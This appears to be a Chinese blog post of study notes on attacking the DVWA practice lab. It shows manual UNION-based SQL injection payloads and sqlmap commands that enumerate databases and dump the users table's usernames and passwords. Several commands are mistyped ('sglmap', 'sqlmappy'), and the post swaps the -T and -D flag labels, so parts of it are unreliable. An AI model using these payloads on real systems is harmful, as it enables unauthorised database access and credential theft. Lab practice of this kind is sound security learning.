DVWA数据库user表内所有信息以及Sqlmap爆破DVWA数据库信息

一,

查看数据库:

1’ union select 1,database() from information_schema.schemata -- -

查看表:

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’dvwa’ -- -

1’ union select 1,table_name from information_schema.tables where table_schema=’dvwa’-- -

查询列名:

1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'-- -

 

查询user的详细数据:

1' union select 1,group_concat(user) from users#

1' union select 1,group_concat(password) from users#

二,

输入sqlmap -u “192.168.0.105” 扫描后失败,无法获取数据库信息

打开代理,打开bp,在dvwa页面抓包,新建一个xxx.txt文档,将获取结果保存在xxx.txt文档内,并将文档保存于python的sqlmap目录下,在sqlnmap下输入 sqlmap -r xxx.txt

 得出数据库版本>=5.6,Apache版本为2.4.39,Php版本为7.3.4.

输入sqlmap.py -r dvwa.txt --dbs 查看所有数据库名

 输入sqlmap.py -r dvwa.txt --dump "user" -T "users" -D "DVWA"  (-T数据库,-D表名,-C列)

DVWA输入:

1' 查询出id为1的名字;

-- - / -- + / # 都是属于注释;

1' order by x# 确定数列,x为任意数,报错说明列数小于x;

查数据库 (先查库,在查表名,字段,列)

1' union select 1,database()(库名) from information_schema.schemata#

查询表名

1' union select 1,table_name(表名) from information_schema.tables where table_schema='dvwa'#

查询字段

1' union select 1,column(字段)_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

查询列

1' union select 1,group(列名)_concat(password,0x3a,user) from users#

nmap扫描数据库

sqlmap.py -u 跑网址

sqlmap -r 指定一个文件

sqlmap.py -u --cookie=“” 跑指定cookie (登录认证需要才加)

sqlmap --dbs 跑出所有数据库

sglmap.py -r xxx.txt --dbsdbs 跑出所有数据库

-T 数据库 -D 表明 -C 列

sqlmappy -r xxx.txt --dump -C “ user” -T “users” -D “DVWA 下载列

“sqlmappy -r xxx.txt --dump -T “ users”-D“DVWA“ 下载表

sq.mappy -r 1.txt --dump -D “ DVWA“ 下载列

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值